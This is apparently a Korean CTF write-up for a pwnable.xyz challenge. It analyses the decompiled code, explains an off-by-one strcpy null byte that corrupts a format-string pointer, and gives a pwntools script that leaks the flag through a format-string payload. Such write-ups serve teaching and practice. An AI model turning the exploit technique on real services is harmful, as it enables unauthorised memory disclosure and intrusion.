플래그는 바이너리 안에 적혀있다고 한다.

Partial RELRO, Canary, NX가 걸려있는 64bit 바이너리이다.

18살 이상인지 물어보고 이름을 입력받은 후 Welcom "name"을 출력해준다.

 

[main]

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char *src; // ST08_8
  __int64 buf; // [rsp+10h] [rbp-20h]
  __int64 v6; // [rsp+18h] [rbp-18h]
  unsigned __int64 v7; // [rsp+28h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  setup();
  buf = 0LL;
  v6 = 0LL;
  printf("Are you 18 years or older? [y/N]: ", argv);
  *((_BYTE *)&buf + (signed int)((unsigned __int64)read(0, &buf, 0x10uLL) - 1)) = 0;
  if ( (_BYTE)buf != 'y' && (_BYTE)buf != 'Y' )
    return 0;
  src = (char *)malloc(0x84uLL);
  printf("Name: ", &buf);
  read(0, src, 0x80uLL);
  strcpy(usr, src);
  printf("Welcome ", src);
  printf(qword_601160, usr);
  return 0;
}

buf에 0x10byte만큼 "Are you 18 years or older?"에 대한 답변을 입력받는다.

맞다고 대답을 해야지만 다음 코드로 넘어간다.

src에 0x84byte만큼 할당을 해주고 name을 0x80byte를 src에 입력받은 뒤 usr에 strcpy로 복사를 해준다.

 

이게 끝이니까 아마 취약점은 strcpy에 있을 것이다.

usr은 0x80byte의 크기를 가지고 있다. strcpy함수는 문자열 복사 함수이기 때문에 문자열을 복사한 뒤에 널문자도 추가해준다. 즉, name에 0x80byte를 입력해놓으면 널문자는 usr[0x80]에 NULL을 입력할 수 있는 것이다.

 

usr[0x81]위치에 있는 qword_601160는 main문의 마지막에서 출력해주는 친구였다. qword_601160에 뭐가 있는지 확인해보자.

 

[setup]

unsigned int setup()
{
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  signal(14, (__sighandler_t)handler);
  qword_601160 = &byte_601168;
  byte_601168 = '%';
  byte_601169 = 's';
  byte_60116A = '\n';
  return alarm(0x3Cu);
}

 

qword_601160에는 "%s\n" 문자열이 저장되어 있다. 만약 마지막 바이트에 널문자를 추가한다면 0x601100을 가르킬 것이다. 이 부분을 usr[20]부분이다.

 

결론적으로 usr[20]부분을 출력해줄 수 있는 것이다. 조금 위쪽을 보면 flag도 있다!

 

 

당연히 이게 진짜 flag는 아닐테지만 인증도 한번 해봤는데 역시 이건 아니다. 그러면 이 주소에 flag가 있는 것은 확인했다.

 

yes or no를 입력하는 부분에서 flag가 있는 0x601080을 써놓고 name을 입력할 때 fsb를 이용해서 스택 내용을 출력해서 위치를 찾고 그 부분을 %s로 출력해주면 된다.

 

스택을 확인해 보니까 0x601080은 9번째에 들어가 있다!

 

[payload]

from pwn import *
context.log_level = 'debug'

r = remote("svc.pwnable.xyz", 30004)

formatbug = "%p %p %p %p %p %p %p %p %s %p %p %p %p"

payload = ''
payload += "y"*8 + p64(0x601080)

r.sendafter(": ", payload)

payload = ''
payload += "A"*36 + formatbug + "A"*(0x80 - len(formatbug) - 36)

r.recvuntil("Name: ")
r.sendline(payload)
#r.sendlineafter("Name: ", payload)

r.interactive()

 

'pwnable > pwnable.xyz' 카테고리의 다른 글

[pwnable.xyz] xor  (0) 2020.05.19
[pwnable.xyz] note  (0) 2020.05.08
[pwnable.xyz] misalignment  (0) 2020.04.17
[pwnable.xyz] add  (0) 2020.04.16
[pwnable.xyz] sub  (0) 2020.04.13

+ Recent posts